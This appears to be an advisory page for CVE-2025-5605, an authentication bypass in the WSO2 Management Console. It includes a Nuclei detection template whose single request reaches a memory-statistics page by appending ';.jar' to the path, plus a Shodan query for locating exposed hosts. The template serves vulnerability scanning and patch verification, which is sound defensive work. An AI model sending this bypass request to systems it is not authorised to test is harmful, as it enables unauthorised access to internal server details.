CVE-2025-5605: WSO2 Management Console - Authentication Bypass

2025-08-01 WSO2 Management Console PoC Public

Description

An authentication bypass vulnerability exists in the Management Console of multiple WSO2 products. A malicious actor with access to the console can manipulate the request URI to bypass authentication and access certain restricted resources, resulting in partial information disclosure. The known exposure from this issue is limited to memory statistics. While the vulnerability does not allow full account compromise, it still enables unauthorized access to internal system details.

PoC

id: CVE-2025-5605

info:
  name: WSO2 Management Console - Authentication Bypass
  author: DhiyaneshDK
  severity: medium
  description: |
    An authentication bypass vulnerability exists in the Management Console of multiple WSO2 products. A malicious actor with access to the console can manipulate the request URI to bypass authentication and access certain restricted resources, resulting in partial information disclosure. The known exposure from this issue is limited to memory statistics. While the vulnerability does not allow full account compromise, it still enables unauthorized access to internal system details.
  remediation: |
    Apply security patches as per WSO2-2025-4115 advisory to enforce proper authentication on Management Console endpoints.
  impact: |
    Attackers can bypass authentication to access internal memory statistics, leading to partial information disclosure.
  reference:
    - https://blog.lexfo.fr/wso2.html
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5605
    - https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2025/WSO2-2025-4115/
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:1398055326
  tags: cve,cve2025,wso2,auth-bypass,vkev,vuln

http:
  - raw:
      - |
        GET /carbon/server-admin/memory_info.jsp;.jar HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Memory Statistics'
          - 'Collection Usage'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402207dc68a15c2b785260e3ef1f8803cbdcad10fe200787832c034ada9e1158f602d022008d49961011e276baf6081202ea168e8668950ae733a28f4d2514a44033b678d:922c64590222798bb761d5b6d8e72950

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